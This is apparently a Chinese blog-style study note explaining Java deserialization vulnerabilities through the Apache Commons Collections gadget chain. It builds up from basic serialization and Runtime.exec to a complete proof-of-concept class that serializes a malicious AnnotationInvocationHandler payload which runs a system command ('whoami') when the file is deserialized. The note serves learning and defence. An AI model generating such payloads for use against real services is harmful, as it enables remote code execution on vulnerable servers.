java反序列化漏洞原理研习

零、Java反序列化漏洞

　　java的安全问题首屈一指的就是反序列化漏洞，可以执行命令啊，甚至直接getshell，所以趁着这个假期好好研究一下java的反序列化漏洞。另外呢，组里多位大佬对反序列化漏洞都有颇深的研究，借此机会，努力学习，作为狼群中的哈士奇希望成功的继续伪装下去，不被识破，哈哈哈哈！！！

参考文档：感谢所有参考文献的作者：

1、https://www.cnblogs.com/bencakes/p/6139477.html

2、https://www.cnblogs.com/ssooking/p/5875215.html

3、https://www.cnblogs.com/xdp-gacl/p/3777987.html

一、Java的序列化与反序列化：

在这里我们直接自己定义一个类，然后对这个类的对象（一个实例）进行序列化和发序列化测试。

//引入必要的java包文件
import java.io.*;

//创建测试类，注意要继承Serializable接口
class serialdemo implements Serializable{
    public static int number;
    public serialdemo(int inputnum) {
        this.number = inputnum;
    }
} 

//主类
public class test{
    //测试主类
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //主函数入口
        serialdemo object = new serialdemo(100);
        FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//创建文件写入对象
        ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//创建类型序列化通道对象
        outputstream.writeObject(object);//把类对象（实例）序列化进入文件
        outputstream.close();
        FileInputStream fileinputstream = new FileInputStream("serail.ser");//从文件读取对象
        ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//对象反序列化
        // 通过反序列化恢复对象obj
        serialdemo object2 = (serialdemo)inputstream.readObject();
        System.out.println("反序列化后的对象的值：");
        System.out.println(object2.number);
        inputstream.close();
    }
}

既然自己定义的类都可以了，那么默认的java存在的数据类型的实例当然也都可以啦~运行结果如下：

└─[$]> java test
反序列化后的对象的值：
100

 二、对java序列化的详解：

1、api定位：

/*
java.io.ObjectOutputStream  ->   writeObject()
java.io.ObjectInputStream    ->    readObject()
序列化把对象序列化成字节流
反序列化读取字节流反序列化对象
*/

2、实现Serializable和Externalizable接口的类才能序列化与反序列化。

3、java的反射机制：

/*
在java运行状态中
1.对于任何一个类，都能判断对象所属的类；
2.对于任何一个类，都能获取其所有的属性和方法；
3.对于任何一个对象，都能调用任意一个方法和属性；
*/

三、反序列化的漏洞原理概述：

1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能，攻击者可以通过构造特定的恶意对象序列化后的流，让目标反序列化，从而达到自己的恶意预期行为，包括命令执行，甚至getshell等等。

2、Apache Commons Collections

这是开源小组Apache研发的一个Collections收集器框架，提供诸如list、set、queue等功能对象。这个框架中有一个接口，其中有一个实现该接口的类可以通过调用java的反射机制来调用任意函数，这个接口类是InvokerTransformer。这个架构的广泛使用，也导致了java反序列化漏洞的大面积流行。

3、java执行系统命令：

//命令执行函数
public void test() throws IOException, InterruptedException {
        Process process = Runtime.getRuntime().exec("whoami");
        InputStream inputstream = process.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream));
        process.waitFor();
        if (process.exitValue() != 0) {
            //说明命令执行失败
            //可以进入到错误处理步骤中
        }
        //打印输出信息
        String s = null;
        while ((s = reader.readLine()) != null) {
            System.out.println(s);
        }
    }

简介：

Runtime.getRuntime().exec("command_string");

回显呢：

Process process = Runtime.getRuntime().exec("command_string");

InputStream inputstream = process.getInputStream();

BufferReader reader = new BufferReader(new InputStreamReader(inputstream));

System.out.prinln(reader.readLine());

把上面结合起来就是序列化的打法。

四、关于反射链

以前一直不理解反射链是什么定西，现在我们来看看接口源代码：

我们来理一理这一段：

开始：

可以看出来这个方法，属于一个对象，输出另外一个对象，完成了类型的转换。同时这个接口还可以串联完成一系列的转换，构成反射链。

Apache Commons Collections中已经实现了一些常见的Transformer，其中有一个可以通过Java的反射机制来调用任意函数，叫做InvokerTransformer，代码如下：

public class InvokerTransformer implements Transformer, Serializable {

...

    /*
        Input参数为要进行反射的对象，
        iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
        iArgs为对应方法的参数
        在invokeTransformer这个类的构造函数中我们可以发现，这三个参数均为可控参数
    */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

只需要传入方法名、参数类型和参数，即可调用任意函数。

在这里，我们可以看到，先用ConstantTransformer()获取了Runtime类，接着反射调用getRuntime函数，再调用getRuntime的exec()函数，执行命令。依次调用关系为： Runtime --> getRuntime --> exec()。因此，我们要提前构造 ChainedTransformer链，它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数，进而执行命令。正式开始时，我们先构造一个TransformeMap实例，然后想办法修改它其中的数据，使其自动调用tansform()方法进行特定的变换(即我们之前设定好的)

 五、poc原理分析：

参考大牛博客，给出一个原理解释知识点

ConstantTransformer
把一个对象转化为常量，并返回。

InvokerTransformer
通过反射，返回一个对象

ChainedTransformer
ChainedTransformer为链式的Transformer，会挨个执行我们定义Transformer

不得不说上面大牛博客分析的大段的代码原理我基本都不懂，因为不是java程序员的我对此真是摸不着头脑，但是我们可以做如下总结：

/*
1、java反序列化可以远程执行命令。
2、java执行命令用到Runtime.getRuntime().exec("whoami");
3、java在apache commons collections中存在InvokerTransoformer接口可以串联对对象进行转化，形成反射链。
4、ConstantTransformer可以把对象转换为常量返回。
5、ChainedTransformer为链式的Transformer，会挨个执行我们定义Transformer
6、AnnotationInvocationHandler类可以导致命令执行在readobject时候自动执行
*/

POC的思路：

/*
1）首先构造一个Map和一个能够执行代码的ChainedTransformer，
2）生成一个TransformedMap实例
3）实例化AnnotationInvocationHandler，并对其进行序列化，
4）当触发readObject()反序列化的时候，就能实现命令执行。
POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发
*/

分析大牛poc核心代码逻辑：

/*
核心逻辑表达式：
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
主函数中：
1、定义一个要执行的命令字符串：String commandstring = "whoami";
2、定义一个执行逻辑：
Transformer[] transformers = new Transformer[] {
  new ConstantTransformer(Runtime.class),
  new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
  new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
  new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
}
3、执行逻辑转化操作(ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作)：
Transformer transformedChain = new ChainedTransformer(transformers);
4、后面是关于不关心的东西，写死即可：
Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
BeforeTransformerMap.put("hello", "hello");
Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
File f = new File("temp.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
*/

//引入必要的java包文件
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

//引入第三方包文件，也就是关于apache的那几个包
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

//主类
public class POC_Test{
    public static void main(String[] args) throws Exception {
        //定义待执行的命令:
        String commandstring = "whoami";
        //定义一个反射链，确定预定的转化逻辑
        /*
          定义一个反射链的方法：
          Transformer[] varitename = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
            new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
            new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
          }
        */
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            /*
            由于Method类的invoke(Object obj,Object args[])方法的定义
            所以在反射内写new Class[] {Object.class, Object[].class }
            正常POC流程举例：
            ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
            */
            new InvokerTransformer(
                "getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }
            ),
            new InvokerTransformer(
                "invoke",
                new Class[] {Object.class,Object[].class },
                new Object[] {null, null }
            ),
            new InvokerTransformer(
                "exec",
                new Class[] {String[].class },
                new Object[] { commandstring }
                //new Object[] { execArgs }
            )
        };

        //transformedChain: ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作
        Transformer transformedChain = new ChainedTransformer(transformers);

        //BeforeTransformerMap: Map数据结构，转换前的Map，Map数据结构内的对象是键值对形式，类比于python的dict
        //Map&lt;String, String&gt; BeforeTransformerMap = new HashMap&lt;String, String&gt;();
        Map<String,String> BeforeTransformerMap = new HashMap<String,String>();
        BeforeTransformerMap.put("hello", "hello");

        //Map数据结构，转换后的Map
       /*
       TransformedMap.decorate方法,预期是对Map类的数据结构进行转化，该方法有三个参数。
            第一个参数为待转化的Map对象
            第二个参数为Map对象内的key要经过的转化方法（可为单个方法，也可为链，也可为空）
            第三个参数为Map对象内的value要经过的转化方法。
       */
        //TransformedMap.decorate(目标Map, key的转化对象（单个或者链或者null）, value的转化对象（单个或者链或者null）);
        Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, AfterTransformerMap);
        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
    }
}

/*
思路:构建BeforeTransformerMap的键值对，为其赋值，
     利用TransformedMap的decorate方法，对Map数据结构的key/value进行transforme
     对BeforeTransformerMap的value进行转换，当BeforeTransformerMap的value执行完一个完整转换链，就完成了命令执行

     执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
     利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()

*/